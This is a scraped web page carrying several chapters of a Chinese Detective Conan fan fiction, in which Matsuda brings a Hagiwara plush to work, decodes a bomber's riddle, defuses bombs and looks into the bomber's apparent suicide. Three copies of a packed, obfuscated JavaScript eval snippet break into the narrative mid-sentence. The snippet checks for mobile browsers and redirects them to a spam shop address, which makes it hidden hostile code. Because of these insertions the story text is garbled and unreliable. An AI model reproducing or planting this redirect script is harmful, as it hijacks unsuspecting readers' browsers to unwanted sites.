边走边回头,小声给两位前辈做了个加油的手势,“为了松田队长更幸福的明天,前辈们冲。” (没错,这就是他们爆物处,大型的松田吹吹部。) 小林陆没有耽误时间,拿了一份文件当做遮掩,悄无声息地领带村上秀往松田阵平的办公位走去。 大概是松田正在忙,也或许是他玩萩原的刘海玩的正兴起,他还真没注意到身后站了两个人。 直到小林陆出声,说了一句“松田队长,您不要揪萩原队长的刘海了,萩原队长看起来要哭了。”时,松田才浑身僵住的一寸一寸地回头。 * 如果可以,松田只想把之前说过的话收回,说什么就算被发现了也无所谓,他果然还是太高看自己了。 不愿面对现实的松田阵平:“……” 小林陆呆呆地看着松田手里被揪着刘海、大片头发被掀起来的——和他们萩原队长一模一样的玩偶,沉默:“……” 发现松田还挺有童心的村上秀,“噗,松田队长你。” 突然掉马努力维持他们唯物主义、一动不敢动假装自己真的是个普通玩偶、眼角还挂着两滴鳄鱼泪的萩原:“……”刘海好痛呜,小阵平快松手。 还是想劝松田去看看心理医生,走过来发现他们都聚在一块的高桥警官,两眼一黑:“……” 跟在高桥身后一起进来的森川阳介:“……” 萩原研二复活的第一天,又重新回到了爆物处众人的视线里。 不过不是以萩原本人身份回来的,而且以思友成疾的松田阵平——特别一比一定制的萩原玩偶身份回归的。 可喜可贺,萩原研二终于不用委屈地挤在狭小的抽屉里了,而是可以光明正大的以吉祥物的身份出现在爆物处每个人的桌上了。 代价是松田队长岌岌可危的风评呢。 对此,松田阵平有以下六点想说,“……” * 谣言以一种不可思议的传播速度席卷了整个警视厅,他们或许没有听过松田阵平的名字,但这件事之后他们也一定会记住这个名字。 没有因为思念挚友导致精神错乱,被上司强制送去看心理医生而出名。倒是因为爆|炸物的王牌——那位骄傲不驯的松田警官,因为思念逝去的挚友特意定制了一个同款娃娃,甚至带他来上班而出名了。 对此,松田阵平已经无话可说。 流言的传播速度十分广泛,不过是松田和爆物处的同事去开了个会的功夫,等他回来之后,发现警视厅里在职的警官们都知道了这个消息。 很疑惑,松田真的很疑惑。 他两眼一黑,在心里越发觉得这群警察真的没救了啊。 关于正事上不上心,这种离谱的谣言却是一传一个准。他们有这份心还会怕误抓犯人吗,有这份心他们干什么还愁不成功,倒是把这些功夫放在正事上啊。 ——你们就是这么当警察的吗? 他瞪了一眼罪魁祸首小林陆和萩原。萩原一动也不敢动,可爱的脸上全是无辜,如果不是小阵平好奇驱使下肆无忌惮地揪他刘海玩,根本不会被发现的好吗。 hagi才不背这个锅。 满身低气压的卷毛警官,无情地抢过无辜同僚的手机,脸色难看地翻阅起群聊。 没错,松田阵平一直都知道这些同事们有许多个群聊,而且数量在两位数以上,不限于工作群、八卦群、聊天群和联谊群。 顺带一提联谊群还是面前这个刚复活的家伙创的,当然松田也在里面,还是被萩原研二拉进去的。不过他对这些八卦不感兴趣,一直处于屏蔽群聊的状态。 至于为什么不用自己的手机看,这种事想也知道——那群人肯定不敢在有他的群里面聊这些事啊。 忽略掉一个个稀奇百怪的群名,目光锁定在第一个被消息置顶的群聊上。 松田阵平点进去后,往上翻了翻看之前的聊天记录。入眼第一句就是纯造谣,简单来说就没一句实话。 【所以是真的吗,那位王牌新星不仅会给娃娃换装,还会跟娃娃玩过家家酒?】这大概是其 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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松田进来的时候,高桥警官正在咨询哪家医院的医生最好。听到开门的动静,高桥抬眸就看见自家王牌的肩膀上光明正大坐着一只萩原研二玩偶。 高桥警官默不作声地放下了资料,对松田阵平招了招手,近距离的观察了一下萩原玩偶,和蔼道,“确实和萩原很像呢。” “嗯。”松田阵平低声应了一句。 “其实带玩偶来上班,并不是什么惊讶的情况,只是。”高桥警官止言又欲,欲言又止。 松田阵平了然,对高桥说,“你预约的医生是什么时候?” 高桥警官一愣,点了点桌上的资料,“明天下午的,我会给你放一天假,地址在米花中央医院。不过你怎么又愿意……” 卷发警官嗤笑了一声,眼神漫不经心扫过办公桌上的文件,单手插兜,语调散漫道,“做个测试能让你安心点的话,那也无所谓了。” 他耸了耸肩,“我又不是什么三岁小孩,当然知道我身上什么问题都没有。” “额,好的。” “不过我希望做完测试后,这件事就此打住。”松田阵平微微俯身,眼神锐利地看向高桥警官,尾音拖长。 “好的,只要检查报告的结果出来确实没有问题。”高桥郑重地点点头。 松田阵平转身准备回办公室,刚迈开一步,门却被猛地推开。 森川阳介气喘吁吁地出现在门外,他眉头紧紧蹙着,声音透露出些许慌乱,“不好了,高桥警官!就在刚刚——我们和搜查一课同时收到了一封神秘人传真过来的犯罪预告函!” “什么?!”高桥警官猛地站起身,“预告函在哪里?” * 【致盲目又自诩正义的警官们: 当三枚砝码被同时置于公平的天秤, 正义的指针在虚假的平衡中颤抖。 砝码置于人潮奔流的深处, 藏在巨人的阴影之下, 安于璀璨之盒。 始于黄昏余晖,终于暮色初临, 届时将邀请诸位参与盛大的演出。 假设匆匆定论,我将成为最公平的裁判。 ——Fujiki】 8. 觉醒超能力的第八天 下午三点四十五分,警视厅的大会议室里已经坐满了人。 松田阵平坐在后排靠窗的位置,面前摆放着一个空白的本子,他的眼睛盯着黑板上被放大的犯罪预告函上面的内容照片,凫青色的眼睛微微眯起。 会议室里的气氛格外凝重,所有人表情都是如出一辙的严肃。明明空调开得很足,但他们还是感觉到心里蔓延开的寒意。 这是一场有预谋的大型犯罪案。 搜查一课的目暮警官站在最前面,双手撑在讲台上,脸色黑沉,显然气急了,“这是挑衅!”他一掌拍在黑板上,声音在安静的会议室里回荡,带着压抑不住的怒气。 “这绝对是对我们整个警视厅的挑衅!” 松田阵平的视线不经意地扫过会议室里的人,因为是搜查一课和爆物处同时收到的传真,推测犯人的重点应该放在他们两个部门身上,所以爆物处也参与了这场会议。 高桥警官坐在最前方,面色同样沉重,放在膝上的手紧紧握成拳头。他身旁坐着的是森川阳介和小林陆,两个人都低着头快速记录着传真内容,试图找到相关线索。 回忆起预告函上的内容,松田阵平对炸弹的位置大致有了一些猜测,随后他的目光落在最后那个署名上。 Fujiki。 藤木,是姓氏还是代号? 这位犯人先生还真是…… “根据现有的线索,”目暮警官转身,拿起笔指向黑板,“我们初步推断,所谓的砝码就是炸弹。而三处砝码,就是分布在三个地点的炸弹。” 笔在黑板上画下几个圈。 “始于黄昏余晖,终于暮色初临——这就是炸弹启动的时间和爆炸的时间。”目暮警官的语气沉重,“黄昏开始启动,夜幕降临时爆炸,那么留给我们的时间…” 他看了一眼墙上的时钟。 沉声说,“最多两个小时。” 这句话落下,会议室里立马响起一片压抑的窃窃声。 毕竟时间实在是太短了,他们要靠这样一封信找到分布在三个地方的炸弹,还要留出足够的时间拆弹,甚至要从一无所知的线索里找到犯人的踪迹。 这怎么想都是不可能完成的事情吧。旁边一位同事压低声音骂了一句,表情难看。 “现在,”目暮警官放下笔,双手撑在讲台上,目光扫过全场,“我们需要破解这三处地点。” “搜查一课已经开始排查,但范围太广,一时半会排查不出来,所以在座各位有什么线索,或者是关于预告函的看法吗。” “预告函犯罪之前有出现过,”高桥皱着眉,试图分析犯人的思路,“特别是这种带有谜题的预告函,他们不单单是为了犯罪,而是有所企图或者是单纯的愉悦犯。” 他停顿了一下,“想要看到警方绞尽脑汁的猜谜题,也想看到警方被他耍得团团转的样子。” “可恶。” 在座的警官都在冥思苦想试图找寻到一丝线索。 “高桥警官,可以出队了。”松田阵平靠在椅背上,点点桌子,眸中透露出对犯人的嘲讽。他也不卖关子,直接出声,“关于三个炸弹地点,我已经清楚了。” “???” “这么快?” 人群中响起一瞬间的嘈杂声,所有人的目光都转向这个大言不惭的发声者身上。 “假的吧,哪有这么快,这可不是你特意胡说八道,出风头的地方。”有人不满开口。 “喂,你瞎说什么,松田队长说知道了就绝对清楚了!” 向来相信自家王牌(除了说话以外)其他能力都超强的高桥警官眼中带上认真,冲他点头示意,“——松田,请说。” 松田整理了一下思绪,站起身大步走上前,接过目暮警官递过来的笔,指向第一处。 “犯人给的线索算是比较清晰的,他并不怕我们找到炸弹的准确地点。例如第一句砝码置于人潮奔流的深处,”松田开口,声音很平静,“人潮奔流就是像车站,商场,商业街这些人流量聚集且多的地方。” “而黄昏时间段,恰好是米花商业街的人流最多。最有可能的地方就是这里,当然还有第二个可能是米花站。可以派人去这两个地方排查。” 紧接着他又指向第二行。 “至于第二句,藏在巨人的阴影之下,恰好在体育馆的最新篮球比赛中,他们的海报上有写巨人对决的字样。而那所体育馆也是这里面积最大的建筑。” 会议室里有人附和地点头,其他人快速地记录着。 “安于璀璨之盒,”松田继续,手指划过最后那行字,“杯户百货商城为了迎接圣诞节,特意在门口做了个大型圣诞树,周围全是礼盒。” 他停顿了一下,然后说,“当然也可能是电影院,放映厅在黑暗中是盒子,银幕是璀璨的来源。” “不过电影院有太多家,无法固定是哪一家和哪一场,无法满足犯人的心理。所以根据现有的准确信息,米花商业街、体育馆、杯户百货商城写三个地方是最有可能装上炸弹的地方,” “有道理啊,松田老弟。” 目暮警官的眼睛亮了一下,他转身对旁边的佐藤美和子快速说了几句,佐藤立刻起身立马走出会议室,大概是去安排人员排查了。 “时间呢?”目暮警官又回头看向松田,“黄昏余晖到暮色初临,我们也知道推断出是黄昏到日落,具体是什么时间段能说出来吗。” 松田阵平摇了摇头,“当然无法准确推测时间。” “但根据一般情况来看,黄昏大概在下午五点半到六点之间。”他看了一眼手表,冷静地回答,“日落在六点半到七点半之间。” “时间已经不早了,我们现在得抓紧一分一秒。” “要留出足够的时间来判断炸弹所在的位置,”森川阳介的声音沉了下来,“一旦出错,拆除时间不够那就不妙了。” 他没说完,但所有人都懂了。 如果预留的时间不足,他们还有机会、还来得及将炸弹全部拆除吗。 “先疏散人群,时间不够就到空旷的地方引爆。”高桥警官立马给出备用方案。 “然后还有一个问题。”松田阵平点了点最后的署名,“一般犯人会用特定的称号称呼自己。那么这个署名——Fujiki,是什么意思?” “是姓氏,还是代号?还是什么别的意思?” “藤树、藤木…”卷发警官抬眸看向一旁的目暮警官,指尖轻点台面,询问道,“之前的卷宗里有关于这几个姓氏的案件吗,最好是没有结果,或者结案为意外的案件。” “!!!”目暮警官面露震惊,仔细回想过后,往期还真的有几个关于这个姓氏的案件,其中线索没有被草草了之的也不是没有。 他连忙挥了挥手,示意手底下的人赶紧去查资料,有没有符合的嫌疑人。 “没有结果,你的意思是说——”高桥警官连忙出声,“最公平的裁判……所以你的意思这个人因为一些事情,对我们做出的决定不满,所以在用自己的方式执行某种审判。” “一个罪犯审判?”下方的人惊呼出声。 “当然是审判匆匆定论的警察了。”台上的青年面带嘲讽,“怎么,是下面那句话还不明显吗。” 松田阵平将众人的视线重新引回到预告函的第一句,“他认为警察是盲目、自诩正义的。所以他要打破警察维持的虚假平衡。” “而他要当那个公平的裁判。” “他要表演一场盛大的演出,我们是观众,是参与者,是……” “是被审判的对象。”目暮警官接上了他的话,脸色更难看起来,真是个嚣张大胆的犯人。 随着这句话落下,会议室内陷入一片寂静。突然内部紧急通讯的提示音响起,目暮警官冲到讲台边的电话前,抓起听筒放在耳边。 他听了几秒,对着话筒又是焦急又是惊地问,“你确定吗。” 萩原在口袋里动了动,像是在询问现在的情况,卷发警官不动声色地将手按在口袋侧面,安抚地点了点他。 “果然在哪里吗?”目暮警官得到炸弹的准确地点,和松田阵平推测的分毫不差,声音一时间有些激动。 同时接到上级的命令,目暮警官下达疏散人群和维持现场秩序的命令后,他挂了电话,转身面对会议室,“炸弹位置都顺利找到了,爆物处可以出发了,搜查一课跟我一起。” “地址就是松田老弟说的那三个地方,已经有人在维持秩序了。” “事 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17185132|197000||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不宜迟,抓紧时间出发。” 机动队紧急出动拆弹,高桥分配任务。A组米花商业街,由经验丰富的森川阳介带领一小队人前往拆弹,B组体育馆由原本是松田小队的小林陆带队负责。 而松田阵平主动要求去环境更加开阔,人流密集更为复杂的杯户百货商场。高桥警官来到他面前,鼓励又信任地拍了拍他的肩膀,“确定没问题吗?” “当然了。”松田阵平扬眉,潇洒地笑了笑,他语气中充满了自信,“不管什么炸弹——我只需要三分钟。” 在口袋里的萩原研二被这句话帅到了。他默默双手合十作出祈祷状,相信小阵平的话就不多说了,就祈祷小阵平顺利拆弹吧! 但他可不敢说出口了,因为前面刚说了一句今天真是平常的一天,结果就来了一个犯罪预告函——hagi的嘴真是开了光了。 杯户百货商场一楼中庭,下午五点二十三分。 松田阵平在小队队员的帮助下穿上防爆服,透过防护面罩看着眼前那颗的巨大圣诞树,昨天是圣诞节,装饰一般都会保留一两天再取下来。 圣诞树上挂满了彩灯和装饰,而树下堆满了包装精美的礼盒,其中一个礼盒被观测出发现炸弹。 “目前情况怎么样?” 耳机里传来高桥的声音,松田阵平调整了一下耳麦,视线没有离开那个礼盒。 “礼盒尺寸不大,红色,金色丝带。”他的声音平静,将每个细节都说得很清楚,“位置在一楼中庭正中央,圣诞树前方三米处,周围均已经清空,不过二楼还有顾客…” 他抬起头,看向二楼和三楼的环形走廊。那里还挤着不少人,大部分是商场员工和没来得及完全疏散的顾客,他们趴在栏杆上往下看,表情惊恐万分。 “我这会让人抓紧疏散的,以防万一不会耽误备用方案地引爆计划。” 松田阵平跨过警戒线,防爆靴踩在地面上发出沉重的响声,周围的队员们举着防爆盾,严阵以待。 被全身包裹的警官蹲下身,打开工具箱。他拿出便携式扫描仪,对着礼盒扫了一圈。屏幕上显示出内部的轮廓,复杂的电路结构,密集的线路。 “等等,这是水银开关。”松田阵平眉头微蹙,低声说道。 “什么,几个。” “至少有三个。”松田阵平盯着屏幕,感叹道,“结构设置的很精巧,任何倾斜超过十五度就会触发,礼盒必须保持绝对水平。” “能拆除吗。” “在小瞧谁——当然没问题了。”松田阵平瞥了一眼倒计时,还有充足的时间,“水银开关本身不难处理,问题是…” 他的视线落在蝴蝶结上。 那个金色的蝴蝶结,在商场明亮的灯光下,褶皱处闪过了一丝不自然的光泽。 看起来像金属。 松田阵平的动作顿了顿,放下扫描仪,从工具箱取出来一个更精密的探头,对着炸弹扫了一眼,饶有兴致地出声,“哈,真有意思。” “怎么了,松田。” “有个有意思的陷阱。”松田阵平沉声对着耳麦说道,“警告另外两队,注意任何物品上的异常点,里面可能有光感或压力触发。” “传感器会接收到光强变化信号,直接引爆炸弹。水银开关是幌子,真正的杀招是这个。” 耳机里传来倒吸冷气的声音,“这个犯人还真是狡诈。” “能处理吗?” 松田阵平点头,“可以,但需要遮光。”又吩咐身边待命的队员,“帮我拿一个遮光罩。” 他停顿了一下,脑子里飞快思考。 目前的情况很简单,礼盒不能移动,包装不能被破坏,先用遮光布解决掉这个光感器。 冷静的拆弹警官将等会需要用到的工具放在顺手的地方,又接过队员递过来的黑色的帆布罩。 “队长,遮光罩!” 所谓的遮光罩其实是一个特制的多层遮光布料,内侧是吸光材料,能隔绝绝大部分光线。 松田阵平预估了一下尺寸,遮光罩很大,完全够遮住礼盒。他小心翼翼地放下,慢慢用镊子拆除丝带上的光感器。 “那么接下来,”警官先生扬起下巴,眼神冷冽,“就让我直接了断地拆了它吧。” 9. 觉醒超能力的第九天 刚把光感装置拆除成功的松田阵平得到了一个不错的好消息,根据森川阳介和小林陆那边传来的消息,类似装置只有他这边有,他们那里是很常见的炸弹。 将目前用不上的工具放在一边,松田阵平轻笑一声,“看来犯人把重头戏放在我这边了啊。”话音刚落,他手上的动作微微停顿了一下,又很快恢复。 倒不是因为别的,而是这句话的即视感太强了,让他不得不想到萩原研二最后一次拆弹任务。那么这两个犯人存在什么关联吗,还是单纯的犯罪者共通思路。 在口袋里的萩原研二也是一愣。 顾不得思考这些,松田阵平当然明白要紧的是先把面前这个东西拆解了。开始处理水银开关,工具钳在指间转了个圈,顺利解决,然后是引|爆装置,就在进行到最后一根导线时。 耳边传来另一处焦急的声音传来。 “不好,A组传来消息——刚刚剪断了一根伪装成陷阱的导线,倒计时提前了。” “等等、B组也传来讯息,他那边的倒计时也迅速减少——” 松田阵平一惊,他的视线转向自己面前的显示屏,红色的数字还在平稳跳动,10:00、09:59、09:58……似乎没有任何改变。 可在高桥警官话音落下的那一刹那,像是为了应景一般,时间毫无征兆的快速减少。 屏幕显示的倒计时开始加速, 然后过得更快了,时间转瞬来到00:59。 留给他们拆弹的时间只剩下一分钟。 如果时间足够充裕,将炸弹转移或者原地引|爆不是问题,可现在只剩下一分钟,在穿着沉重防爆服的情况下根本不可能成功撤离。 果然,能完美解决难题的办法只有将炸弹拆除。 “我这边一样,保持冷静。”松田阵平握紧手中的工具钳,目光在只剩大概残骸的炸弹上扫视一眼,引|爆装置已经被他拆除了,按理说计时器应该会停止,也接收不到信号。 难道说这个炸弹还有另一种接受信号的方法。 就在脑中思索的时候,他突然注意到炸弹外侧似乎有什么不同,那是一个不起眼并且很寻常的设计,许多炸弹都会有这样的装置。 排除掉所有的不可能,剩下的再不可能,那也就是真相。 松田阵平眸中划过一丝了然,难道说……如果是这样的话,那就完全能解释了。 微微沉思,他决定相信自己的直觉。手中的工具一用力直接将整个炸弹拆地七零八落,里面露出一个火柴盒大小的黑色模块,表面印着GSM(通讯)的字样。 旁边插着一张剪好的SIM卡。 “用手机通过远程操控,虽然套路老套,但偶尔能打一个出其不意。”松田看到这一幕,心下了然。 “这里是松田。”被厚重防爆服严实包裹住的青年对着对耳麦说,声音冷静,“请检查炸弹外壳,里面有GSM模块,炸弹之间用短信同步。” “专注于拆除,不要管时间!” 它连接了另一套单独的模板,这也是拆除了引|爆装置后,倒计时依旧显示运行的原因。松田阵平仔细端详,确定没有其他误解导线后,钳子尖端对准了GSM天线接口的铜线。 他必须剪断铜线,切断主信号。不过犯人极有可能在里面安装了备用电源,更差一点的可能性他还会误触安全机制。 那么,要剪下去吗。 只是犹豫了一秒,松田阵平目光徒然变得锋利,其实答案不是很明显了吗。 无论什么时候,他的答案始终只有一个。 那就是踩下油门向前冲—— 显示屏上的倒计时来到最后10秒,松田阵平微微俯身,停在炸弹上方,手中的钳子合拢,下一刻铜线断开。 “砰、砰砰。” 耳边还环绕着一声又一声急切的心跳声。 当然不要误会。 剧烈心跳声的来源是口袋里的萩原研二。 原本也一点点紧张的松田阵平,这下是彻底不急了,反而还有些微妙的不爽,“好歹也要相信我一点吧,萩。” 他低头看去,倒计时停在最后六秒,屏幕顽强地闪了几下,最后不甘心地熄灭。 “这里拆除成功。”松田阵平把最重要的部分取下来放进证物袋,看队员们在忙着收拾炸弹残骸,顺手把手边的工具都放进箱子里收好。 摘下面罩,没有了阻碍的汗水顺着脸颊滑落,他将湿掉的卷发往后顺了顺,问道,“另外两组情况怎么样?” 喜悦的声音在耳麦中响起,高桥显然也松了口气,“都拆除成功了,你那边切断信号后,另外两处的倒计时也停止了。” “看来我这边还真是重头戏。” 在队员的帮助下脱下防护服后,里面的工装差不多也湿透了。外面吹来一阵风,温差过大,让猩猩体质的松田都觉得有点冷。 他拍了拍口袋里的小努努。 其实在准备下车的时候,松田阵平有考虑过让萩原就待在车上,等他回来。毕竟萩原在他口袋里,外面还有一层厚重的防护服挡着,肯定不舒服,不过被严词拒绝了。 “才不要呢。”萩原像个忧心鸡崽崽被老鹰叼走的鸡妈妈,抓着口袋内侧的边缘不肯出去,“我才不放心小阵平一个人呢。” 事实证明,萩原说的没错。 他是真的很担心。 如果不是周围的人太多,松田阵平都想提起萩原问一问,你这家伙是不是思虑过头了——所以对他的技术存在点误解。 如果真的是这样,松田不介意现场表演一个三分钟拆弹,让萩原彻底认清现实。 收队后,松田阵平指尖轻敲,把从炸弹拆下来的模块和卡一起递给高桥,补充道:“这张卡就算报废了也能查到一些记录,可能会有些线索。” “好的。”高桥警官应道,“我等会就交给科捜研和情报技术课进行解析,只要找到购买记录犯人的身份应该就水落石出了。” “也可以查一查,这个号码最后有没有收到过什么信息。” 高桥安静了几秒,迟疑地问,“你是说……” “不要忘了。”松田面无表情地捧读,“这是一场盛大的演出。”他停顿了一下,压制住心底的寒意,“在愚昧的警察以为胜券在握时,剩下的一分钟崩溃。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17185133|197000||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“——面对倒计时快速归零无能为力,最后一刻变成一场盛大的演出。所以我很好奇,他会在演出结束时说什么。” “松田,你不要说了!”高桥警官打断他,“时间也差不多了,你回去收拾下就下班吧,别忘了明天去医院做心理检查。” “怎么可能。”松田阵平轻描淡写回了一句,风把他的卷发吹得更乱了,他却毫不在意的单手插兜站在那里。 阴影彻底吞没了他,看不清任何表情。只有那双凫青色的眼睛深处像深夜结冰的湖面,掩藏着看不见的暗流。 高桥警官叹了口气,“也许只是个巧合。” “我不愿意相信这世上有那么单纯的巧合,思路太像了。”松田阵平抬眸看向远方,队员们将炸弹残骸已经包装好上了车。 他又回想起了一年前萩原牺牲的那六秒,直言道,“不管是不是那个炸弹犯,但只要有一点线索,我都不会放过的。” “所以。”高桥警官有了一种不好的预感。 “我要去搜查一课调查这个犯人。”顿了顿,看着对面长官越来越难看的表情,卷发青年飘忽了视线,又说,“对了,明天的心理医生我先不去了,找线索要紧。” 表情难看的上司诚恳地反问,“你是不是故意的?” 他眯了眯眼,“你以为我不知道你早就想去搜查一课了? “……”松田阵平移开了视线,“之前确实有这个想法,但这不是刚好吗。” 高桥警官揉了揉眉心,“你要真的想关注后续,我跟目暮说一声有结果了通知我们。” “但我更想参与进去。” 面前的臭小子像是块臭石头灵顽不灵,高桥警官心里拿他根本没办法,只好扶额无奈道,“好吧,不需要你特意调职。我把你借调过去,这个案件结束后必须回来。” “那是当然了,高桥警官。”松田阵平眉头一挑,露出他一贯笃定的笑容,和难得没有掩饰住的那一抹别扭的感激,“会回来的。” 高桥应了一声,就收队回去整理这次案件中关于炸弹案的分析报告。松田阵平正准备去找目暮警官的时候,正好接到了后者打来的电话。 “找到犯人的线索了。”目暮警官的声音像卸下了一块大石头,“或者说他根本没有掩饰自己的想法,从监控中很轻易就找到了他购买SIM卡的记录。” “居然是这样吗。”松田阵平沉吟。 这位犯人明目张胆的传来犯罪预告函,费尽心机在三个地点分布炸弹,甚至在炸弹上动手脚特意摆他们一道,会因为这么简单的原因就暴露自己吗。 这完全说不通。 电话里目暮警官还在继续说着,“我们根据松田老弟你的提示找到了过往案卷,找出了三个嫌疑人。再一对比,凶手这不就水落石出了。” “我们现在正在去抓捕犯人的路上呢,听高桥说你对这件案件感兴趣,不如就顺道过来吧。” 松田应了一声,看了一眼目暮警官发来的地址,离得不远,走路也就十多分钟。 快到的时候,他从目暮警官那里得到了一句不太妙的……凶手自杀了。 “哈,你说什么?” 10.觉醒超能力的第十天 藤树正男,55岁,前化工厂高级员工,毕业于工业大学工程专业,符合犯罪条件。其独子三年前死于工厂爆|炸,警方经过调查做了简单的笔录,最终认定为操作失误。 他对于这个处理结果并不满意,在多次投诉调查结果要求警方重启案件无果后,销声匿迹了几年。 本以为他是接受了现实,却没想到他在今天寄出犯罪预告。 了解到整个案件的经过后,松田阵平陷入沉思,犯人为了苦心谋划这么久,甚至用上了炸弹威胁,真的会轻易自|杀吗,他有些想不通其中的原因。 口袋里的萩原研二也在思索。 然后他想到了一个不太妙的猜测——等等,不会是有人灭口吧。 影视剧和小说里就经常这么写,因为追查真凶陷入不可言说的阴谋中,最后发现骇人听闻的真相,不敌邪恶势力最终被人秘密灭口!!! 等他赶到公寓时,搜查一课的人已经赶到了现场,带队的人是目暮警官。一进门松田阵平就闻到了一股浓郁的血腥味,他上去打了个招呼。 环顾屋内,发现里面的线索确实很明显,基本上看一眼就能立马定案的那种。藤树正男的桌上堆满了各种各样的图纸和一些化学品残留,都和现场的炸弹完全吻合。 客厅的墙壁上贴满了关于三年前工厂爆|炸案的线索,还有几份被红笔反复划过的警方报告,基本所有结果都表明爆|炸事故是因为藤树俊介自己操作不当导致的。 下方的空白处写满了来源于父亲——藤树正男的质疑,和他暗自调查发现的一些案件线索。上面贴着几张模糊的照片,大概是几辆看不清车牌的车影,和看不清面容的黑衣男鬼鬼祟祟出现在工厂外围。 那么这几张照片上的黑衣男子和爆|炸案有什么样的关联,总不可能是恰好出现在附近吧,藤树正男也不会特意标明出来。 松田阵平视线掠过那些照片,在心里记下了墙壁上的线索。察觉到口袋里萩原研二小幅度的雀雀欲试,用手将他托上来了一点,让小玩偶也能看清内容。 看了一会萩原研二似乎察觉到了什么,轻轻蹭了蹭他的手指内侧。松田阵平敏锐发现萩原研二的暗示,蹲下身视线自下而上重新扫过那面墙。 从这个角度,他看到那些资料离墙壁还有一小段距离,下面是被掩藏的极好的划痕。如果不是萩原这个视角,或者特意蹲下来,还真发现不了。 他掀开上面的资料和照片,伸出戴着手套的手指轻轻抚过墙面,触感粗糙,指尖仔细地辨识着凹痕的走向。 “……是刻上去的字。”他低声自语,指腹下的笔画连贯起来。是一句:“如果正义需要声音才能被听见……原谅我只能这样做了。” “松田,你发现了什么?”目暮警官从浴室出来,手里拿着初步的现场记录,就发现松田阵平正用手一寸一寸触摸凹下去的墙面,神色格外专注。 松田阵平眉头微蹙,眼神锐利,“这似乎是刻出来的一句话。” “什么,这难道是死者留下来的讯息?”目暮警官神色一凛,立刻快步走到他身边,也蹲了下来。 黄褐色风衣的警官学着松田的样子,伸出手小心翼翼地触摸那些凹凸不平的痕迹,指尖传来的断续凹痕,确实能勉强连成连续的笔画。 他一个字一个字地摸索过去,脸色逐渐变得凝重。直到摸完最后一处划痕,目暮警官抬起头,肯定了心中的猜测,看向浴室又环顾这间堆满证据的客厅,几乎是更加笃定了。 “现场来看,浴室没有挣扎痕迹,门锁完好,室内也没有被强行闯入的迹象。”目暮警官站了起来,拍了拍膝盖上的灰尘。 他总结,“加上这墙上刻的留言,不会出错了。他就是这起案件的策划者,最后选择了畏罪自杀。” “可以准备结案了。” 松田阵平听到目暮警官的总结,根据现场的线索来看,策划者的身份和自杀的证据确凿。问题的关键在于三年前的那场疑点重重的案件上,偏偏那场案件已经宣告结案。 警方也不太可能重启案件。 藤树俊介到底是怎么死的,藤树正男经过这些年的调查,又发现了什么线索。为什么要留下一个那样的留言,为什么最后会草率自杀。 如果正义需要足够的声音,才能被听见,那么寄出预告函的用意倒是显而易见。可之后又要代表什么,现场无不宣告他是自杀,没有任何疑点。 这不是更没有调查下去的必要了吗。 半开的浴室门内,藤树正男无声无息地躺在淡红色的水里,左手腕上好几道伤口触目惊心,一只拳头紧紧握着,另一只手里还捏着一片刀片。 他到底在策划些什么。 “目暮警官,”松田阵平开口询问,声音带着些许探寻,“关于三年前那场工厂爆|炸案,当时有印象吗?” 目暮警官闻言略微回忆了一下,然后摇了摇头,习惯性地正了正自己的帽子,“那时我职位还低,没直接经手。而且……” 他顿了顿,斟酌了一下用词,“那案子后续听说被公安接管了,卷宗调走得彻底,我们这边也没留下什么。” “意外的结论也是他们得出的,你怎么突然问这个?” 松田阵平从鼻腔里发出一声短促的嗤笑,舌尖顶了顶腮帮,毫不掩饰自己的不爽,“哈,能被公安要走的案子,怎么想也不可能是单纯的意外吧。” “也怪不得别人怀疑。” “额,松田老弟也不能这么说啦。” 不过公安一贯的作风就是这样子,又想到那两个不见人影的家伙,对公安的不爽又多了几分。 事情再清楚不过,三年前那场所谓的操作失误掩人耳目,而真相藏在暗处,和多少不能见光的东西一起沉沦。 松田阵平对警察草草结案的态度有所不满,但所有和化学厂有关的人和物都已经逝去,似乎追逐当年真相也毫无用处。 但他暗地里还是记住了这件事,准备日后有机会的话在找一下线索,萩原研二拍了拍松田阵平,算作安慰。 这起案件最后还是以犯人自杀结束,最后的结果不了了之。 跟高桥警官简短交代后,松田阵平得到了一天的假期。从藤树正男的公寓出来的时候,天已经彻底黑了,冬季的夜幕总是落得仓促又急切。 松田阵平独自拐进楼侧无人的窄巷,冬夜的冷风带着潮湿的空气席卷而来,刮过巷口时发出短促的呜咽声。 他背靠粗糙冰冷的墙上,微微低下头从烟盒里叼出一根烟,就着手中银质打火机窜起的火苗点燃。 火光骤然照亮他下颌利落的线条,随即火光熄灭。只余烟头点点橙红的火星在黑暗里明明灭灭。 “小阵平……”一道很小的声音传来,萩原研二从松田阵平的衣袋边缘探出半个毛茸茸的脑袋,紫色眼眸饱含担忧地望着他。 松田阵平垂眼又看了看口袋里那颗小脑袋,用手指很轻地戳了一下他,他吸了一口烟,又缓缓吐出。 